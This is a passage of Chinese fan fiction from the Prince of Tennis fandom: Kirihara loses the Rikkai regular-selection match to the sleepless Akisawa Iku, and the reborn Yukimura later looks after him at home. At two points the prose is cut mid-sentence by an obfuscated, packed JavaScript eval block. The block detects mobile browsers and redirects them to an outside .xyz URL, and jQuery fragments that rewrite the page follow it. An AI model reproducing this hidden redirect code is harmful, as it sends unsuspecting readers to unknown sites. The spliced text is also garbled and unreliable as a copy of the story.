到最后发现完全反抗不了之后,他更郁闷了,郁闷到这段时间里海带脑袋上始终顶着一片黑漆漆的乌云,看得坐在他背后的秋沢栎十分难受,被迫想办法解决这件事—— 好像用不到他了。 秋沢栎淡定地拎出柳莲二友情提供的名单,拍了拍切原赤也的肩膀。 因为…… “正选选拔赛?!” 切原赤也伸手从秋沢栎手里抽走了那份比赛名单,双眼亮晶晶的,闪着激动的光芒,看得秋沢栎不自觉地挪开了视线。 “要开始了吗要开始了吗?切原赤也大人征服全国的第一个关卡——” 正选选拔赛,顾名思义,是立海大网球部用来筛选正选的一场比赛,在招新结束后的一周内敲定,全员都可以报名参加,最后根据抽签分为几个小组,每个小组能赢到最后的两个人就可以成为正选。 当然,成为正选不一定通过正选选拔赛,只要能打败正选也一样可以从他们手中拿下这个位置就是了,比如幸村精市当时就是直接打败了那位三年级前辈,继承了他的部长之位。 立海大的筛选规则向来简单粗暴:没有技巧,全凭实力。 “是的,明天就要开始了。” 秋沢栎完全不在意他的动作,甚至在看见切原赤也脑袋上黑黑的乌云完全散掉之后还极其难得地露出了一点欣慰的表情,“如果按照比赛名单来看的话,切原君,我会是你最后的对手。” “那太好了!!”切原赤也握拳,兴奋极了:“上次的比赛就没打完,这一次,我绝对不会再输的!!” 记吃不记打的切原赤也大人在被三巨头轮流虐了一周之后,已经完全忘记了和秋沢栎比赛时的一分都没能拿到的惨状,此刻正兴致勃勃地向着他邀战。 秋沢栎神色没有丝毫变化,他在见识了此人一句话惹怒无数个三年级前辈、然后挨个把他们打趴下之后,就对出自切原赤也之口的话产生了抗体:“那我等着。” 嘴上说说罢了,他也会,只是懒得说而已。 切原赤也斗志昂扬的背着自己的球袋去网球部训练了,势必要在正选选拔赛开始之前进步一点、再进步一点,最好让所有人都瞻仰切原赤也大人的英姿!! 秋沢栎看着他的背影,懒洋洋地打了个哈欠。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551601|171243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昨天熬了个通宵,只在课堂上躲在切原赤也挺拔的背影后眯了一会,生理性的困顿影响了他的精神,以至于现在看见切原赤也这幅兴致冲冲的样子,也只想感慨一句真有活力啊。 * 时间过得很快。 或者说,他们没有多余的时间能浪费。 各校都是四月伊始开学,八月底全国大赛就会完全结束,县大赛、关东大赛、全国大赛三大重要赛事全部都会在这四个月内召开。 而新入部的新生力量需要尽早被发掘、提拔、锻炼之后,才能成为网球部中能派上用场的力量,所以无论是立海大还是其他学校都在紧锣密鼓地推进行程,确实没什么时间能浪费。 因此,立海大的正选选拔赛时间被压缩在了一天内,分在几个球场同时进行。 幸村精市、真田弦一郎、柳莲二三人被拆开单带三个不一样的小组,秋沢栎与切原赤也分在了第四个小组,与他们的比赛不在同时进行,所以他们有足够的时间收集这两人的数据。 “……赤也这段时间的进步不小啊。”柳莲二在笔记本上划了两笔,说道:“五维对比开学时高了不少,看来,他真的很努力了。” 真田弦一郎神色严肃:“前几天还将那些三年级前辈都挑战了一遍……他的实力和天赋确实不错。” 前几天指的是那次三巨头在开会,切原赤也在球场上与一位三年级发生了一点点点小摩擦,本来是一个能用和平的方式解决的问题,但好巧不巧,一个脾气很暴躁的前辈,碰上了一个嘴上不饶人的切原赤也。 到底怎么演变成后来那样的已经没人知道了,只知道那天在大家的围观下,在三巨头手下被血虐了好几天的切原赤也单枪匹马挑翻了一堆三年级前辈,虽然事后被罚的很惨,但也成功的找回了自己的自信。 “难得听弦一郎夸人呢。”幸村精市笑眯眯地说道:“你很看好这孩子啊,是因为他和你小时候很像吗?” 真田弦一郎的脸一僵,反驳道:“我可没有他这么不稳重!这小子的心性还需要锻炼!” 手握真田弦一郎黑历史的幸村精市笑而不语。 被死死拿捏的真田弦一郎:…… 他默默地挪开了视线,笨拙地转移话题:“秋沢栎……他的实力在全国也是数一数二的吧。” 虽然有些笨拙,但幸村精市还是成功被这个名字转移走了注意力,他注视着场中神情没有丝毫变化的少年,说道:“除了我之外,应该没有人能打败他。” 这是一句自信到自负的话语,但在场的三人丝毫不觉得有什么问题。 他们在开学前也经常和秋沢栎比赛,手握数据的柳莲二很清楚对方的实力位处哪一个阶段,被誉为“皇帝”的真田弦一郎也知道,即使他在比赛时从未拿出过全部的实力,也足够在全国横着走了。 这也是一个他一定要打败的对手!! 站在场上的秋沢栎鼻子一痒,打了个喷嚏,一股被人惦记上的恶寒感自背后袭来,不过幸好,那种感觉不到片刻就消退了。 大概是比起他来说,真田弦一郎还是更喜欢远在青学的手冢国光吧。 他对面的切原赤也活动了一下手腕,战意盎然:“喂!你准备好了吗?切原赤也大人要来复仇了!!!” 秋沢栎叹了口气,声音也有气无力的:“是是是,我们开始比赛吧。” 正选选拔赛结束之后是不要求训练的,所以,早点打完,他就能早退回家睡觉了。 连续熬了两天,哪怕是他也有些撑不住了。 而这时,站在场外的幸村精市眯了眯眼,从中察觉到了一丝不对劲。 “阿栎……好像很累的样子?” 11. 第 11 章 球网两端的选手已经就位,裁判顺势爬上了裁判椅。而后伴随着一声哨响,比赛宣告正式开始。 来围观这场比赛的人并不在少数,这两个一入学就被三巨头看好的一年级后辈,此刻正站在同一片赛场上上演‘自相残杀’的戏码很容易点燃大家的好奇。 到底是嚣张无比、入部没两天就将三年级前辈们全挑了一个遍的切原赤也能赢,还是看似内敛淡薄、实力也未知的秋沢栎更胜一筹呢? “那我投秋沢一票吧。”一个三年级前辈举起手,果断地押了秋沢栎:“一般这种看不出深浅的才比较恐怖吧!” “你确定不是因为输给了切原所以抱有私心吗?”他的同伴吐槽道:“算了,我还是投给切原吧,不然我们这群前辈不就变相等于输给了两个一年级后辈了吗?” “……好有道理。” …… 场边的窃窃私语声被压得很低,自然没有传到场内,因此切原赤也完全不知道自己已经成了赌局的中心。 他摩拳擦掌,抱着要一雪前耻的想法拿好球拍,眼里的兴奋几乎要冒出来,连带着声音也中气十足:“正还是反?” 这种非正式的网球比赛决定发球局的方式一般是猜球拍旋转之后落地时,球拍拍底字母的正反面,猜对的人则可以先获得发球权。 站在他对面的秋沢栎瞥了一眼他,随意地报了一个字。随着对方手中的球拍落地,终于被幸运之神眷顾了一次的切原赤也成功拿下了发球局。 “好!开头就是一个大吉!” 秋沢栎眼皮都懒得抬。 “赤也今天很兴奋呢。” 柳莲二手里拿着笔记本,准备随时记录两个后辈的数据,他本子上属于秋沢栎的那一页被打了很多问号,代表着主人对此的不确定。而属于切原赤也的那一页也在这段时间内涂涂改改,数字一度平稳上升。 “不过,怎么觉得阿栎看起来好累的样子。” 结束了自己比赛的丸井文太突然从他们身旁冒了出来,摸了摸下巴,看了一眼场中的秋沢栎。虽然后者有在极力掩盖自己的疲惫,但属于身体状态的问题实在太好发现了,很轻易的就被站在一旁围观的幸村精市等人看出来了。 “怎么回事?” “……我这两天没和他一起。” 幸村精市皱了皱眉,眼神从刚才起始终没从秋沢栎身上挪开,他也在思考这个问题。 任何疾病的来临都是有先兆的,哪怕是后来彻底击垮他的那场大病原先也是由低烧、不适之类的小情况逐渐演化的。 既然已经知道自己这辈子会有这么一遭劫难,幸村精市自然会做足准备,因此,他从重生回来之后就格外在意自己的身体,隔一段时间就会去医院检查一下,争取早发现早治疗,这两天刚好碰上了预定的检查期。 因为要做检查、拿报告、找医生,他待在医院的时间有些长,身上自然无可避免的会沾上消毒水味,非常清楚秋沢栎医生有多敏锐的幸村精市便缩减了和他待在一起的时间。 有了前世的相处,糊弄一只现在才十几岁的秋沢栎对幸村精市来说自然不是什么困难的事。 虽然他的病在未来已经是既定的事实了,但在尚未确定之前,他并不想让对方替自己担心。 结果,他自己的检查报告没出任何问题,甚至看着比前世还要健康许多,但应该没察觉到这件事的秋沢栎反倒是一副恹恹的样子。 明明他们只不过才分开了两天而已。 ……是出什么事了?生病了?还是怎么了? 幸村精市越猜测脸色就越凝重,看得丸井文太不自觉咽了咽口水,逐步拉开与后者的距离。柳莲二合上笔记上,险而又险地将话题拉回来:“比赛开始了,等一下结束之后问问吧。” 在他发呆期间,场中的比赛已经开始,现在叫停也来不及了,幸村精市只得暂时收回内心的紧张,将目光落在球场上。 站在球网一端的切原赤也握着那颗黄色的小球,表情透着张扬的自负与骄傲:“喂喂,我要发球了——” 秋沢栎的回答是投来催促的一瞥。 他真的很困,好不容易趁着幸村精市忙于其他事暂时没空关注他的时候,抓到了一个能放飞自我的机会,便趁着这段时间为了做一件东西而熬了个大夜,终于险而又险地在幸村精市忙完之前迎来收尾。 再加上正选选拔赛结束之后网球部是不再要求强制训练的,他正好可以趁这个机会回去补觉,在幸村精市将关注的目光再度投到他身上之前,以一个饱满的精神状态回归,这样,谁也不会发现他这两天做了什么。 完美的闭环! 所以—— “别浪费时间了,切原君。” 秋沢栎慢吞吞地说道,抬起的眼里只有冷漠与平静:“快点结束比赛吧。” “什么啊!!” 切原赤也成功被他激怒了。 海带头脑袋在蹦起来时会随着重力一跳一跳,像只炸毛的小动物,但他发出来的球却带着暴躁而凛冽的球风。 能轻易打败三年级且被三巨头看好的后辈,切原赤也无论是基本功、五维还是天赋都算得上是顶尖,甚至因为年纪尚小的缘故,他的潜力更是无穷无尽。 所以,秋沢栎在接第一球时就感受到了他的变化,沉重的球落在他的球拍上发出滋啦滋啦的响声,与刚入学时的那次比赛相比,无论是速度还是力度都提升了不少。 “看来这段时间的锻炼没有打水漂……不过,对我来说,还是有些不够看。” 他是连真田弦一郎的‘侵略如火’都能轻轻松松打回去的人,常年练习弓道致使他的上肢核心力量极为稳定,如果真要比拼力量的话,或许整个网球部都没有他的对手。 “砰”地一声,球化为一道金色的闪电,骤然落在切原赤也的背后。 “15-0!” “什么?!”切原赤也瞳孔一缩,他只能感觉到一股风刮过他的耳旁,而后便是黄色的小球咕噜咕噜地滚开,它原先的落点处被一片焦黑取代。 “居然这么快……?” “因为我不准备手下留情。”秋沢栎语气平静,人懒懒散散地打了个哈欠:“所以,切原君,输了比赛可不要哭啊。” 这是刚入部时切原赤也对他说的话。 如今,小心眼的阿栎以同样的方式还了回去。 * “砰!” “4-0!” 裁判的声音像是开关的按钮,随着他宣告比分的声音落下,与之一起倒下的还有切原赤也。 “呼——呼——” 少年跪坐在地,大口大口地喘着气,体力的飞速消耗致使他的身体在疯狂汲取着来自外界的氧气,连咽喉中蔓延出一股的血腥味也没有心思去在意了,此刻只有一个念头充斥着他的脑海。 好累。 好累,接球好累,接不到球也好累。 好累。 过去多久了,怎么感觉像是打了一个世纪呢? 好累…… 切原赤也第一次觉得打球居然是这么累的一件事,他先前虽然也经常体验到体力耗尽的感觉,但没有哪一次像如今这样,疲惫像是翻腾的潮水,直接将他拖入无尽的深渊里,无法挣扎,或者说,提不起任何心思去挣扎。 实力的绝对差距带来的不止是比分上的一边倒,还有心理上的压力。 这次比赛与他先前所经历的任何一场比赛都不一样。 骄傲到自负的切原赤也拥有在同龄人中数一数二的实力,从来没有遇到实力差距这么明显的对手。哪怕在加入网球部后被三巨头挨个镇压,但幸村精市、真田弦一郎和柳莲二在注视着他时,都是抱着指导的心态,与其说是比赛,不如说是指导赛,是要切原赤也在其中学到些什么。 可秋沢栎是不同的。 不同于开学时那场纯粹拖时间的比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551602|171243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试,此站在这里的他不想指教切原赤也,不想浪费时间,他要的就是纯粹的碾压,要在最短的时间内结束这场比赛。 他做到了。 “差不多可以弃权了吧,切原君。” 白发少年站在阳光下,落下的目光无喜无悲,没有任何因为即将赢下比赛而产生的喜悦和激动,就像他只是普通的站在这里,普通的看着切原赤也自己倒下一样,好似任何外物都无法刺激出他的情绪。 周遭观众不知何时起完全静寂了下来,或许是在看着秋沢栎毫不留情地将大出风头的切原赤也打击成如今这样狼狈的样子时,又或许是因为见到对方强悍到甚至没法生出任何与之匹敌的想法时。 至少在这一刻,任何交流都被消弭于无,球场上只有他自己的声音。 “再打下去也没有意义了,哪怕你就此弃权,正选职位也仍然有你的一席之地。” 立海大的正选之位是每组的前二,切原赤也已经拿到了这张入场券,所以,秋沢栎页觉得这场比赛可以这样结束了。 但他的对手不这么认为。 “你在说什么啊?!” 切原赤也咬着牙,血腥味一股一股的充斥着他的喉间,但他仍然费力地撑着地面要爬起来,一双抬起的眼灼灼,燃烧着不屈的愤怒与挣扎,比高悬于天上的太阳还要耀眼:“我怎么可能当逃兵啊?!!” 弃权?开什么玩笑?? 要他就这样承认自己只能灰溜溜的弃权逃跑,怎么可能啊?! 他可是切原赤也!!! 掉落在面前的球拍被他拾起,那股狂躁的、毫无理智的精神力正在咆哮着要冲出身体,却被秋沢栎压制在了那个小小的身躯中,只有眼尾的一抹红色昭示着它的存在。 “这有什么意义吗?” 秋沢栎这次是真的很疑惑,他不理解为什么会有人拼尽全力只为了一个既定的结果,也真心实意地发问了:“你赢不了的。” “还没结束呢,凭什么说我赢不了!!!” 切原赤也手持球拍,恶狠狠地盯着他,一滴滴不知道是汗水还是泪水的液体顺着脸颊滑落,连声音也带了自己尚未察觉到的哽咽:“发球啊!!我是绝对绝对不会输的!!” 切原赤也大人是不会输的!! 哪怕、哪怕是输,也绝对绝对不会输得这么狼狈!!! 啊,不肯放弃呢。 秋沢栎看着他那一双眼睛,亮的、灼热的,充斥着愤怒,像一团火一样,漂亮的让人移不开目光。 好耀眼。 好好奇。 好想知道,明明大家都流着属于“人类”的血液,为什么他会产生这一团火焰呢。 不过,这好像也不是坏事。 少年无意识地叹了口气,意识中那一抹困倦被彻底驱散,他握了握球拍,从兜里摸出了一颗网球。黄色的小球毛绒绒的,连带着他望着切原赤也的眼睛时也不自觉带上了一点温度,他喃喃道:“怪不得太宰哥让我离这种热血笨蛋远一点呢,我先前还以为他只是单纯的想嘲讽中也哥……” 原来这种人真的会像太阳一样,无时无刻都会投下能传染别人的光线啊,这种身体莫名其妙就被感染的感觉,在一定程度上已经脱离了理性的掌控范畴,会促使人做出一些不理智的行动。 比如现在的他,想稍微用心一点对待比赛。 但这样势必会拉长他清醒的时间。 ……不过也就仅此一次了,毕竟,研究各式各样的例子,也是探索世界的一环嘛。 秋沢栎迅速说服了自己,他闭了闭眼,将球高高抛起。伴随着黄色的网球击过去的,还有一股无人察觉的温和的力量,那股力量在触及到切原赤也时变换成了一把剪刀,将他体内那毛毛糙糙的精神力咔嚓咔嚓地修剪平整。 “就当做一次实验了,切原君。” 少年微微一笑:“那么,就让我看看你到底能做到什么地步吧。” 12. 第 12 章 于是,在场外围观的大家都敏锐的发现了秋沢栎的攻势转变为了另一个风格。 比起先前看得人心惊胆战到生怕下一秒就能把切原赤也拍死在球场上的风格,他打出的球风温和了起来,相比较于为了结束比赛而干脆利落的碾压,现在则更偏向于指导赛了一些。 一群在场外提心吊胆的前辈们都松了口气。 丸井文太拍了拍胸脯,用一种劫后余生的轻松语气说道:“原来和我们比赛时,阿栎还留手了啊……” 仁王雅治扶了扶脑袋:“哈哈,太好了,好险没被打死。” 一旁被仁王拐来新加入网球部不久、还没有经历过与秋沢栎对练之苦的柳生比吕士推了推眼镜,疑惑地问:“他之前和你们比赛的时候不是这个样子吗?” 他还以为秋沢栎本身就是这样凛冽到毫不留情的风格呢。 “其实这么说也没错,阿栎向来是这种风格。”幸村精市抱着胳膊,将目光从切原赤也身上挪开,一挑眉:“如果你感兴趣的话,改天可以安排你们比一场。” 既然柳生比吕士好奇,身为部长的他自然不会吝啬于满足自家队友一个小愿望。 不过今天不行,在比赛开始前阿栎就表现的有些疲惫了,不能再多占用他的时间了。 柳生比吕士顿了顿,婉拒道:“不,我没有这个意思。” 看到他和切原赤也的比赛,谁还会想去试试这种风格会不会把自己打哭啊?! 仁王雅治拍了拍他的肩膀,幸灾乐祸道:“没关系,一定有机会的。” 柳生比吕士不动声色地拂开了他的手:“这种事就算了吧。” 实际上,秋沢栎在与他们比赛时确实留手了很多,也在有意识的控制节奏。 这么长时间,除了在面对幸村精市时他可以毫无保留点用出所有实力之外,他在立海大网球部打的那些比赛多是指导大于结果,也因此,丸井文太他们虽然能感觉得到他的实力强劲,但到底没有体验过这种和切原赤也一样的感觉。 在某种意义上来说,也是给他赶上好时候了。 前后重生回来之前就极其看好他的幸村精市,一直特别看好他的柳莲二和真田弦一郎,现在又多了一个对他稍微起了一点兴致的秋沢栎—— 总之,希望人还好。 切原赤也还好吗? 最起码比之前好多了。 秋沢栎放弃了速战速决的想法,重新将比赛节奏握在手里,边压制着切原赤也身体里那股毫无理智的精神力,边试图引导对方在其中学习、领悟,一时之间,切原赤也的比赛体验上升了不止一个度。 就像是从零下三十度的极北寒冬被扔到了暖洋洋的温泉里,水蒸气模糊了感官,也让人感觉浑身上下的每一个毛孔都透着舒适。 天晴了,雨停了,他又觉得他行了。 “继续继续!!” 切原赤也哼哼两声,指节扣住网球。那颗黄色的小球在巨大的力量下有些变形,携带着狂躁的旋转从他的球拍上离开,又在在落地的那一刹瞬间脱离了原本的轨道,直直奔着秋沢栎的脸而去。 秋沢栎早有预料地后退了半步,手中球拍横过,生生将这一球拦截在拍网上。 伴随着一阵刺啦刺啦的响声之后,球应声落在切原赤也背后。 不规则发球只是一个照面就被破解了。 不过大家的关注点显然没在这上面。 场边的柳莲二眉毛一扬:“赤也不进入红眼模式也能用指节发球了?” 但站在他身旁的幸村精市却有不一样的看法:“不,应该说,他已经进入了。” 与在场的其他人不一样,精神力最高最敏感的幸村精市感知比赛的方式不只是靠眼睛,更多也靠场中逸散的精神力。 而在这一瞬,他‘看见’了切原赤也此刻迸发出的那部分精神力与先前‘红眼模式’时的波段一模一样。 但这一次,他并没有失去理智。 是秋沢栎做了什么吗? 是的。 作为这个结果的主要导向人,秋沢栎自然也发现切原赤也的进步,他挑了挑眉,说道:“天赋不错。” 切原赤也一旦进入红眼模式,精神力就毛毛糙糙的,像是张牙舞爪的怪兽,只能遵循本能行动,这才会导致他身体被加强的同时破坏欲也会增高。秋沢栎上一次遇到这种情况,还是在他那位没有血缘关系的哥哥身上。 所以,用‘剪刀’修剪毛毛糙糙的力量这种事他做的轻车熟路,而切原赤也的天赋在其上添了一分不小的姿色,此刻导致的结果也让他很满意。 能在这么短的时间内掌控属于自身的精神力并加以运用,这小子的天赋确实不错。 不过。 “差不多了。” 秋沢栎第二次说出这句话。 少年活动了一下手腕,微微抬起了眼:“就这样结束吧。” 兴奋劲下去了,打累了,打困了,他想回去睡觉了。 * 最后的比分毫无悬念的是6-0。 切原赤也被锤成了扁扁的海带饼饼,站在原地脸涨得通红,窝窝囊囊地窝囊了一下,而后老老实实地垂下脑袋向秋沢栎道谢。 他自己的招式他比谁都清楚优点与缺陷,红眼模式会带来失去理智的弊端他也知道。 而如今,这个问题被解决了,往后他的实力一定能更上一层楼。 心很大的切原赤也双眼亮晶晶地,他大方地原谅了秋沢栎先前的‘口出狂言’,并擅自将人划入了好朋友的范畴(切原赤也:他帮我了欸,他是好人!!),像一只毛绒绒的大皮卡,在往后的日子里大大咧咧地创进秋沢栎的生活。 还不知道自此以后安稳日子就会离他而去的秋沢栎此刻正站在幸村精市面前挨批。 “坦白从宽,这段时间到底是怎么了?” 幸村精市笑容温柔,背后的百合花朵朵盛开,美丽又危险。 一旁的柳莲二只看了一眼就按下自己好奇的心,与真田弦一郎对视一眼后迅速撤离了八百米,还不忘带走站在原地摸不着头脑的切原赤也,只留下孤零零的秋沢栎。 “我、我没做什么啊……” 向来运筹帷幄的秋沢栎磕磕巴巴地试图狡辩,但声音却在幸村精市强势的目光里逐步消减,最后只能含糊不清的将一切全部交代。 比如他熬了两个晚上夜。 “……所以,你熬了两个通宵?” 幸村精市自动翻译了他委婉的说法,少年额头狂跳:“秋沢栎!有什么事不能白天做吗?!” 秋沢栎低下脑袋,语气诚恳:“我错了。” 他知道以正常人的思维来看,在这个还在长身体的年龄不按时睡觉且熬了两天通宵这种事完全不能被理解,幸村精市知道了也绝对不会高兴,所以他才会选择在后者忙碌到没空顾及他的时候偷偷摸摸的干这种事。 结果还是露馅了。 下次只熬一个通宵,这样不会很困,应该就不会被发现了。 完全没有反省意图的秋沢栎在心里制定好了下一场的计划,老老实实地道歉:“对不起……” 幸村精市叹了口气,从他的话语里听不出一点反省的意味——或者说,在对方选择做出这种事的时候,就代表此人完全没觉得自己有任何问题。 “先回家吧。”他转过身,将球袋背好 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面前的美人被一扇门给遮挡住了,门后的秋沢栎也随之将肩膀一垮,唉声叹气:“唉……” 黑猫嘲笑他:“早跟你说了别这么做,这下好了吧。” 秋沢栎将鞋子踢到一边,赤着脚往屋内走,恼羞成怒道:“这种东西还是要早做出来比较好吧,晚上能利用的时间这么长当然不能浪费,你见过谁家保平安的东西是磨磨蹭蹭好长时间才送出去的啊?!” “而且,志保姐也经常背着明美姐这样做啊,怎么只有我挨骂了!” 因为宫野明美基本上不会当着你的面骂宫野志保,她觉得这会教坏小孩子,虽然你已经将她作为实验人员的毛病学了个十成十了。 黑猫在心里腹诽,又拿尾巴扫了扫他,敷衍道:“是是是,反正被关进屋里的又不是我,快点去睡觉吧。” “那你记得待会把客厅的门打开,晚点可能会降温,院子里有露水。” 秋沢栎给卧室门留了一条缝,哼了一声,决定无视极度敷衍他的黑猫,自顾自钻进房间的浴室里洗了个战斗澡,将自己往柔软的床铺上一扔,立刻就进入了睡眠。 熬了两个通宵,无论是对身体还是对精力来说都是一大考验,哪怕是他也有一点受不了。 在确定秋沢栎进入梦乡之后,黑猫才翘着尾巴将门扒拉开了一条缝,成功引起了坐在院子里的幸村精市的注意。 是的,幸村精市并没有离开,而是一直坐在院子里的秋千上,一边拿着手机给柳莲二发消息调整切原赤也的训练菜单,一边密切关注着卧室内的动静。 虽然他并不觉得秋沢栎在这个时候还会继续惹他生气,但为了保险起见,他还是跟妈妈说了一声,准备在这里呆到晚上再回去。 此时见到门开了,他还以为某人准备偷偷溜出去呢,结果怒火还没冒出来,就看见一只黑猫坐在门口朝他歪了歪脑袋。 原来是猫啊。 幸村精市刚升起的火气又降了下去,他叹了口气,凑到门边刚准备将门扣上以防止风灌进去,结果一眼就瞥见了卧室的门也没有关紧,露出一条极大的缝隙。 “真是的,阿栎怎么这么粗心。” 幸村精市就像是被一块面包一块面包的连锁线勾引走的猎物,沿着两道没关上的门顺理成章地进入了客厅。站在他背后的黑猫舔了舔爪子,熟练的将客厅的门关好。 粗心?怎么可能,这小子晚上睡觉恨不得在门上上八百道锁,怎么可能会有不关房门的一天啊。 不过是引诱幸村精市进来的小妙计罢了。 13. 第 13 章 成功被引诱上钩的幸村精市轻手轻脚地走到卧室的房门前,准备将门掩上。但缝隙开的太大了,大到他借着床头明亮的小灯,正好能看见靠在墙边的秋沢栎。少年用后背紧紧的抵住墙,整个人蜷缩在一起,像是仍在母亲怀抱里时的那样,但眉头是紧蹙着的,一副哪怕睡着了也极不安稳的模样。 幸村精市扶着门的手一紧,愣住了。 “……原来这个时候就已经这样吗?” 他认识的那个秋沢栎也经常做噩梦,在他们刚确定关系、彼此还没有同居的时候,此人就经常睡到一半猛然惊醒而后枯坐到天亮,再算好时间再拎着精心准备的早饭装作没事人一样的出现在他面前,还美名其曰早睡早起身体好。 幸村精市一开始并没有意识到这件事,那个时候的秋沢栎太会伪装了,能骗过别人更能骗过自己。 直到后来同居但还没同床的某个夜晚,他偶然在夜里醒来之后,看见坐在阳台上望着漆黑的乌云发呆的人时才意外戳穿这件事。 他向来体贴,面对爱人不愿意说出口的过去也不会逼问,再加上这件事解决办法很简单——在秋沢栎扭扭捏捏地请求幸村精市将床分给他一半后,这个问题就再也没出现过了。 秋沢栎将他的过去藏的很好,那些不堪的、无法告知于幸村精市的事一直被压在心底,腐烂成泥,一辈子也不会暴露在阳光之下。 可这次,他的爱人意外返回过去,终于有机会将这些事从尘封的回忆中扒拉出来了。 秋沢栎无论长到多少岁都是这样,就像小孩子晚上睡不着觉会需要爸爸妈妈陪在身旁,驱散属于夜晚的恐怖。但他没有父母,在过往的十数年里,只能靠自己来挨过漫漫长夜。 直到另一个人降临在他的世界。 幸村精市的目光落在他身上,心脏也随之刺痛了一瞬。 他不敢相信这么多年里,孑然一身的少年是怎么挨过一个又一个的晚上的。 幸村精市轻轻地将房门推开到足够容纳他一人进入的宽度,而后轻手轻脚地坐在床边,柔软的床垫登时凹陷出了一个弧度。 下一秒,伴随着窸窸窣窣的动静,床榻上的少年被拢入了一个温暖的怀抱中。 那股熟悉的气息像微风,像青草香,像棉花糖,像这个世界一切柔软的事物,就这样毫无阻拦的进入了他的梦境,强势地驱散了那些长夜中掩埋的不安与恐惧。 于是他紧蹙的眉头缓缓松开,攥紧被子的掌心也随即松开,一双温热的手强势地挤入他的指缝之间,双手交错、呼吸相融的时候,连梦也随之平稳。 “晚安。” 一道轻柔的声音在寂静的屋内响起,随即重归于宁静。 片刻后,黑猫轻巧地跳了上来,用爪子勾起了一旁轻薄的夏凉被,遮掩住了两个少年的身影。 猫:这个家没我得散jpg * 秋沢栎难得睡了一个好觉。 他的梦里难得没有出现那些呢喃不清的字句,没有厌恶的视线与毫无温度的目光,只有绿绿的草坪、漂亮的花和一本干净的书,给了他一夜好眠。 好眠到直到他醒来都还没有意识到自己身处在什么地方,思绪还沉浸在过往的梦里。 “醒了?” 猫趴在窗台边,懒懒散散地打了个哈欠,目光扫过房门,连声音也压得格外低。 不透光的窗帘将这个房间遮蔽的严严实实,只有特意被调小了的夜灯散发着微弱的光芒。 “嗯。” 秋沢栎睡得太舒服了,理智还没回归,就用懒洋洋的语调来应对它的问句。 “几点了?” 猫翻了个白眼:“七点。” “啊,那睡得还算久……” 他记得自己跟着幸村精市从学校出来的时候明明才傍晚四五点吧,没想到居然一觉睡到了早上七点。 真是难得。 他抻了抻胳膊,觉得浑身舒畅,就顺势在床上打了个滚,一把拉开窗帘准备迎接太阳,结果打在脸上的不是阳光,而是漆黑一片的院子。 秋沢栎:“?” 黑猫慢吞吞地收拢了爪子,补充道:“第二天晚上七点。” 秋沢栎:…… 啊? 他缓慢地僵在原地,一双眼不可置信地望着黑猫:“你怎么不叫我?!” 黑猫甩甩尾巴表示无辜。 秋沢栎磨了磨牙,这么长时间,他能做很多事了,比如彻底完善地下室存放的那件‘礼物’。 “不对,我记得我定闹钟了啊……” 少年挠了挠一头睡得凌乱的白发,摸到了床头柜上的手机,结果看见了整整齐齐从上到下列了一排的、被关掉的闹钟。 这不是猫做的。黑猫的目光是这个意思。 秋沢栎彻底清醒了,他深吸一口气,啪地一巴掌拍亮了卧室的灯,夺门而出:“这是见鬼了吗?” 到底是谁家鬼会关掉他的闹钟啊?!! 最好别被他发现,他对付这种科学以外的力量可是专业…… “醒了?” 某位不知名的好心鬼坐在客厅,听到动静后从书中抬起头,看着顶着一头乱糟糟的头发冲出来的秋沢栎,笑眯眯地朝他眨了眨眼:“再等一下吧,晚点再吃饭。” 于是秋沢栎气势汹汹的脚步停住了。 客厅的灯在设计时被宫野明美擅自添了一档暖黄的颜色,此刻柔柔落在坐在沙发上的少年身上,面前原本空空荡荡的茶几上被放了两个橘子,一旁的冰箱明显已经被动过了,原先被随意的扔在垃圾桶里的速食饭团的包装也不翼而飞,整个房子内都蔓延着一股若隐若现的饭香味,在这个夜晚给冰冷的住宅平添了一份温馨。 秋沢栎有些恍惚:这还是他家吗? 他先扫视了一圈有些陌生的房间,而后全数落在坐在沙发上的“鬼”身上,不敢挪开目光。 怎么感觉这么不对劲。 还是那种冷冰冰的风格看着比较眼熟。 “精市……?” 幸村精市见他还是一副没睡醒的模样,就合上手里的书,朝他招了招手:“过来。” 白发少年老老实实地过去了,一屁股坐在他身旁,下意识就要往他肩膀上靠过去。 幸村精市见到他这和前世一模一样的小习惯,眼里不由得染上了一丝笑意,但是手上却毫不留情地揪住他的脸颊,边往外扯,边慢条斯理地喊了一声他的全名。 “秋沢栎。” 刚想动弹一下的秋沢栎登时被这一声定在原地,像是被按住了后脖颈的猫,哪怕被捏着脸也不敢反抗。 “肿、肿么了……” 幸村精市笑容里带了森森黑气:“厨房的厨具除了热水壶之外全部都是新的,炒锅连包装膜都没有撕掉,冰箱里只有饮料和雪糕,柜子里只有零食……秋沢栎,告诉我,你来神奈川这么久了,天天都在吃什么?” 秋沢栎睡得时间久这在他的意料之内,毕竟熬了两个通宵,人体更需要时间来修补缺失的精力。 所以幸村精市昨天晚上在这里留了一宿,第二天提前结束了训练,准备提前备点吃食给还在睡觉的那位。 但幸村精市没有预料到整个秋沢家居然没有一点能用的食材,更没法形容他在翻遍了整个屋子之后连一片菜叶、一个蛋壳都没找到时,到底是一种什么样的心情。 他明明记得阿栎前世给身为运动员的他做营养便当时很拿手,色香味俱全的同时还不失营养。 